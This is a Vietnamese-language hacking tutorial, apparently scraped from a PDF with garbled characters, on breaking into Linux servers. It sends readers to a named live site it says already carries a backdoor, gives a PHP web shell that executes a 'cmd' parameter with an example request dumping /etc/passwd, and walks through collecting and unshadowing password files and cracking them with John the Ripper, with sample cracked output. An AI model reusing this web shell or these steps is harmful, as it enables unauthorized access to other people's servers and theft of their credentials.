Bắt đầu nha : Mình xin giới thiệu sơ luợc qua một vài thư mục quan trọng trên server : /home : nơi lưu giữ các file người sử dụngVD : người đăng nhập hệ thống có tên là Micro thì sẽ có 1
Trang 1Thân
Thangdiablo
HACK LINUX
Tác giả: (Someone) ????
HACK LINUX
Cơ bản Hack Linux
Chào các bạn ! Hôm nay mình xin giới thiệu với các bạn đôi chút cơ bản về server chạy Linux
Để tiện phục vụ bài học mình xin lấy luôn một server để các bác thực hành
http://www.4me.ru/kozar/remview.php
Site này đã được gắn 1 con Backdoor các bạn có thể xem được toàn bộ dữ liệu của server bằng cách click đến nơi mà mình muốn Backdoor này có tác dụng mạnh hơn cả
NTDADDY.ASP đối với NT
Bắt đầu nha :
Mình xin giới thiệu sơ luợc qua một vài thư mục quan trọng trên server :
/home : nơi lưu giữ các file người sử dụng(VD : người đăng nhập hệ thống có tên là Micro thì sẽ có 1 thư mục là /home/Micro)
/bin : Các lệnh Unix cơ bản cần thiết như ls chẳng hạn
/usr/bin : các lệnh khác , các lệnh dùng bởi người sử dụng đặc biệt và dùng quản trị hệ thống
/bot : Nơi mà kernel và các file khác được dùng khi khởi động
/ect : Các file hoạt động phụ mạng , NFS (Network File System ) Thư tín ( Đây là nơi mà chúng ta cần khai thác nhiều nhất )
/var : Các file quản trị như file bản ghi được các thiết bị sử dụng
/usr/lib : Các thư viện chuẩn như libc.a
/usr/src : Vị trí nguồn của các chương trình
OK ! Bây giờ mình chuyển sang vấn đề mật khẩu :
Mọi account trên hệ thống đều có một mục nhập file /ect/passwd ( Các bạn có thể dùng chức năng của backdỏo để xem nội dung file này )
Trang 2Mỗi mục nhập file passwd có định dạng sau :
username:password:uid:gid:geos:homedir:shell
Ví dụ : root:*:0:1:System PRIVILEGED Account,,,:/:/bin/csh
Đây gọi là trường password
Username: Tên người sử dụng
Password: Pass của nguời dùng
UserID: Số nhận diện người dùng
GroupID: Số nhận diện nhóm
Geos : vài thông tin về ngườ sử dụng
Home Direcoty: Thư mục ngườ đăng nhấp
Shell : nơi mà chứa lệnh shell cho người s%
http://www.4me.ru/kozar/remview.php
Thường thì password bị mã hoá , nhưng ta có thể dùng 1 số chương trình Crack đựơc ( Tôi sẽ hướng dẫn Crack vào phần sau ) Vì vậy ngừơi ta đã khắc phục bằng cách nghĩ ra mật khẩu bóng (Shadow password ) Khi mật khẩu bóng được dùng , trừơng mật khẩu trong /ect/passwd chỉ chứa 1 dấu X hoặc 1 dấu * mà không bao giờ xuất hiện trong phiên bản mật mật khẩu dã được mã hoá Thay vào dó người ta dùng file thứ 2 có tên gọi Shadow ( /ect/shadow )
File này chứa các mục nhập mà thoạt nhìn rất giống với mục nhập trong /ect/passwd , nhung chứa mật khẩu thực được mã hoá trong trường mật khẩu
Chỉ có thể đọc được shadow bằng gốc Trong truờng password của Shadow chỉ có username và password là có thật bị mã hóa còn các phần khác là không có thực hoặc bỏ trống
Đây là vị trí của file password của 1 số phiên bản khác nhau :
Version Path Token
-
AIX 3 /etc/security/passwd !
/tcb/auth/files//
A/UX 3.0s /tcb/files/auth/?/*
BSD4.3-Ren /etc/master.passwd *
ConvexOS 10 /etc/shadpw *
ConvexOS 11 /etc/shadow *
Trang 3DG/UX /etc/tcb/aa/user/ *
EP/IX /etc/shadow x
HP-UX /.secure/etc/passwd *
IRIX 5 /etc/shadow x
Linux 1.1 /etc/shadow *
OSF/1 /etc/passwd[.dir|.pag] *
SCO Unix #.2.x /tcb/auth/files//
SunOS4.1+c2 /etc/security/passwd.adjunct ##username
SunOS 5.0 /etc/shadow
System V Release 4.0 /etc/shadow x
System V Release 4.2 /etc/security/* database
Ultrix 4 /etc/auth[.dir|.pag] *
UNICOS /etc/udb *
File nhóm ( ect/group )
Hầu hết các Hacker không quan tâm đến file này nhung tôi thấy cần phải nói vì nó cung quan trong
Ðịnh dạng của file này là :
Groupname:password:gid:member
VD: lbin:*:1:root,daemon
tên nhóm là : lbin
pass : * ( o tồn tại > nó nằm trong Shadow )
1 : số nhóm 1 (nhóm o là root )
người được sử dụng là : root , daemon
Trường password của file group đôi khi khá kỳ lạ nó không được sử dụng nhiều ,nhưng khi kết hợp với trình newgrp , nó cho phép những người sử dụng không phải là thành viên của 1 nhóm có thể có thừa nhận định danh ( Mình sẽ nói đến phần sau )
Trong khi sử dụng Backdoor để khai thác hệ thống bạn sẽ gặp 1 số lỗi xảy ra như acces denied hoặc permission denied Ðây là lỗi khi bạn dùng chức nang xem 1 thu mục hoặc
1 file đã bị ấn định quyền sở hữu và hạn chế khả năng truy cập Vậy phải làm sao , chắc bạn cũng đã nghe nói đến LEO THANG ÐẶC QUYỀN chứ OK chúng ta sẽ làm đựơc mọi thứ nếu chúng ta nằm ở vị trí ROOT
Trang 4Nhung trứơc tiên chúng ta sẽ tìm hiểu về giới hạn sử dụng file
Giới hạn sử dụng là cách thức dùng file mà ngườ sử dụng có thể thực hiện được trong Unix Có 3 giớ hạn sử dụng :
+Cho phép đọc ( Read ): bạn có thể xem nội dung file
+cho phép sửa đổi (Write) : Bạn có thể thay đổi hoặc xoá file
+Cho phép thi hành (Excute) : Nghia là bạn là b?n có thể chạy file nhu 1 truong trình ( Bạn chú ý cái này cho phép ta run Backdoor trên server )
Mình lấy ví dụ : Các bạn thử dùng chức năng info của Backdoor đối với 1 file trên server xem sao :
ban sẽ thấy :
-rwx r-x r-x
Dấu ghạch ngang đầu (-) kí hiệu là đây là 1 file
3 ký tiếp theo (rwx) : nói lên chủ sở hữu có thể được ,ghi và thi hành )
tiếp theo : r-x : nói lên nhóm có thể đọc và thi hành
ti?p theo : r-x : những nguời khác có thể đọc và thi hành
nói chung nó la ký hiêu của Read-Write-Excute
Có thể hiểu trong từng mức có 3 bit tuong ứng với giới hạn sử dụng ( Các bạn còn nhớ cách Chmod file để làm Forum chứ , đấy đấy chính nó )
Lần sau mình sẽ hướng dẫn cách Crack file password bằng Jonh , và các lệnh để xâm nhập vào server , và thực hiện các lệnh trên server
Dần dần bạn sẽ học được cách Hack 1 cách chuyên nghiệp hơn thông qua FPT , TFTP , PHF , RPC , NIS , Senmail , WU-FTP Server , BIND
1 lời khuyên : không có gì hay hơn là bạn nên cài thử Linux xem sao OK
Ngoài chương trình trên ra, ta còn có thể tự viết một đoạn PHP như sau :
<?
$output = `$cmd`;
echo $output;
?>Ví dụ : Sau đó lưu đoạn mã này với tên là hack.php Khi upload lên, ta thực hiện lệnh như sau :
www.tentrangweb.com/hack.php?cmd=cat+/etc/passwd
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~
Trang 5Hướng dẫn bẻ mật khẩu của Unix bằng John The Ripper :
-
Lấy file passwd
Crack file passwd
Single crack
Crack bằng wordlist (+rules)
Incremental crack
External crack
Sử dụng các passwd đã bị crack
-
I Lấy file passwd
Bạn có thể khai thác một lỗ hỏng bảo mật trên server, chẳng hạn như chỗ yếu cgi hoặc lỗi tràn bộ đệm, sau đó get file /etc/passwd & /etc/shadow
TH1: nếu passwd chưa bị shadow
cat /etc/passwd > password.txt
* nếu server đang chạy NFS, bạn phải dùng ypcat(yellow pages cat) & grep -s thay cho cat:
ypcat /etc/passwd | grep s > password.txt
TH2: nếu passwd đã bị shadow, bạn phải cat cả file /etc/passwd & /etc/shadow, sau đó unshadow cho passwd:
cat /etc/passwd
cat /etc/shadow
unshadow passwd shadow > password.txt
-
Trang 6II Crack file passwd
Trước khi crack file passwd, tôi muốn giới thiệu sơ lược cho bạn về format của file passwd Đây là một file text chứa các thông tin về user trên server Mỗi dòng trong file này có dạng như sau:
LWait:0m8Car45jNxHQ:1000:2000:John Doe:/home/litewait:/bin/csh
LWait login name
0m8Car45jNxHQ encrypted passwd
1000 user id
2000 group id
John Doe real name
/home/litewait home dir
/bin/csh shell
* encrypted passwd=="*" -> account này đã bị vô hiệu, đừng mất công để crack passwd của account này!
* encrypted passwd=="+" -> passwd đã bị shadow, bạn phải unshadow trước khi crack
Ok, bây giờ chúng ta sẽ crack file password.txt! Có 4 cách để crack passwd:
1 Single crack
- được dùng để crack các weak passwd
C:\john>john -single password.txt
Loaded 585 passwords with 128 different salts (Standard DES [24/32k])
thomas (mrice)